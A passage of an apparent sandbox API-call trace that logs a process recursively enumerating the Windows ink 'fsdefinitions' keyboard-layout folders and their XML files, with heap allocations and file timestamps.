cFileName="auxpad", cAlternateFileName="")) returned 1 [0078.902] GetProcessHeap () returned 0x470000 [0078.902] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x328b0e8 [0078.903] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\*", lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255340 [0079.153] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.153] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2d7bf7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2d7bf7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2d7bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59a, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxbase.xml", cAlternateFileName="")) returned 1 [0079.154] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2d7bf7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2d7bf7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2d7bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59a, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxbase.xml", cAlternateFileName="")) returned 0 [0079.154] FindClose (in: hFindFile=0x3255340 | out: hFindFile=0x3255340) returned 1 [0079.154] GetProcessHeap () returned 0x470000 [0079.154] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x328b0e8 | out: hHeap=0x470000) returned 1 [0079.154] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2b1a99, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2b1a99, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2b1a99, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxpad.xml", cAlternateFileName="")) returned 1 [0079.154] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypad", cAlternateFileName="")) returned 1 [0079.154] GetProcessHeap () returned 0x470000 [0079.155] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x328b0e8 [0079.155] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\*", lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255340 [0079.155] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.155] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f4a0c5f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f4a0c5f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f4c6dbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x180, dwReserved0=0x0, dwReserved1=0x0, cFileName="ea.xml", cAlternateFileName="")) returned 1 [0079.155] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c8fc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1c8fc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4c6dbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x45e, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypadbase.xml", cAlternateFileName="")) returned 1 [0079.156] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4ecf1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor-kor.xml", cAlternateFileName="")) returned 1 [0079.156] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f4ecf1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor-kor.xml", cAlternateFileName="")) returned 0 [0079.156] FindClose (in: hFindFile=0x3255340 | out: hFindFile=0x3255340) returned 1 [0079.156] GetProcessHeap () returned 0x470000 [0079.156] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x328b0e8 | out: hHeap=0x470000) returned 1 [0079.156] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f47ab01, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f47ab01, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f47ab01, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypad.xml", cAlternateFileName="")) returned 1 [0079.156] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="main", cAlternateFileName="")) returned 1 [0079.157] GetProcessHeap () returned 0x470000 [0079.157] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x328b0e8 [0079.157] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\*", lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255280 [0079.359] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.359] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f643b69, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f643b69, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f643b69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="base.xml", cAlternateFileName="")) returned 1 [0079.359] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e7ee29, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e7ee29, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6b5f83, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf7, dwReserved0=0x0, dwReserved1=0x0, cFileName="baseAltGr_rtl.xml", cAlternateFileName="")) returned 1 [0079.360] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c8fc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1c8fc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f643b69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc59, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_altgr.xml", cAlternateFileName="")) returned 1 [0079.360] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f669cc7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_ca.xml", cAlternateFileName="")) returned 1 [0079.360] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cdbf2a, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cdbf2a, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_heb.xml", cAlternateFileName="")) returned 1 [0079.360] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d02087, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d02087, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x324, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_jpn.xml", cAlternateFileName="")) returned 1 [0079.360] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d02087, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d02087, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_kor.xml", cAlternateFileName="")) returned 1 [0079.360] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d281e4, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d281e4, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6b5f83, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x269, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_rtl.xml", cAlternateFileName="")) returned 1 [0079.360] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d4e341, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d4e341, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6dc0e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x40e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp.xml", cAlternateFileName="")) returned 1 [0079.361] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d7449e, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d7449e, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f70223f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3af9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr.xml", cAlternateFileName="")) returned 1 [0079.361] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d9a5fb, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d9a5fb, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f774659, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x264b, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-changjei.xml", cAlternateFileName="")) returned 1 [0079.361] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e7ee29, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e7ee29, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2b3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-dayi.xml", cAlternateFileName="")) returned 1 [0079.361] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e32b6f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e32b6f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-phonetic.xml", cAlternateFileName="")) returned 1 [0079.361] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e32b6f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e32b6f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-phonetic.xml", cAlternateFileName="")) returned 0 [0079.361] FindClose (in: hFindFile=0x3255280 | out: hFindFile=0x3255280) returned 1 [0079.364] GetProcessHeap () returned 0x470000 [0079.364] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x328b0e8 | out: hHeap=0x470000) returned 1 [0079.364] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f513079, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f513079, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f513079, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x9655, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.xml", cAlternateFileName="")) returned 1 [0079.364] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbers", cAlternateFileName="")) returned 1 [0079.364] GetProcessHeap () returned 0x470000 [0079.364] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x527ba8 [0079.364] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\*", lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255280 [0079.365] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.365] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7e6a73, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f7e6a73, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7e6a73, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x4c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbase.xml", cAlternateFileName="")) returned 1 [0079.365] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7e6a73, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f7e6a73, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7e6a73, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x4c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbase.xml", cAlternateFileName="")) returned 0 [0079.365] FindClose (in: hFindFile=0x3255280 | out: hFindFile=0x3255280) returned 1 [0079.365] GetProcessHeap () returned 0x470000 [0079.367] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x527ba8 | out: hHeap=0x470000) returned 1 [0079.367] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f79a7b7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f79a7b7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7c0915, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd1, dwReserved0=0x0, dwReserved1=0x0, cFileName="numbers.xml", cAlternateFileName="")) returned 1 [0079.367] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenu", cAlternateFileName="")) returned 1 [0079.367] GetProcessHeap () returned 0x470000 [0079.367] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x527ba8 [0079.367] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\*", lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255280 [0079.367] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.367] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f832d2f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f832d2f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f858e8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenubase.xml", cAlternateFileName="")) returned 1 [0079.368] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2aee7b0 | out: lpFindFileData=0x2aee7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f832d2f, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f832d2f, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f858e8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenubase.xml", cAlternateFileName="")) returned 0 [0079.368] FindClose (in: hFindFile=0x3255280 | out: hFindFile=0x3255280) returned 1 [0079.368] GetProcessHeap () returned 0x470000 [0079.368] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x527ba8 | out: hHeap=0x470000) returned 1 [0079.368] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2aeea38 | out: lpFindFileData=0x2aeea38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f80cbd1, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f80cbd1, 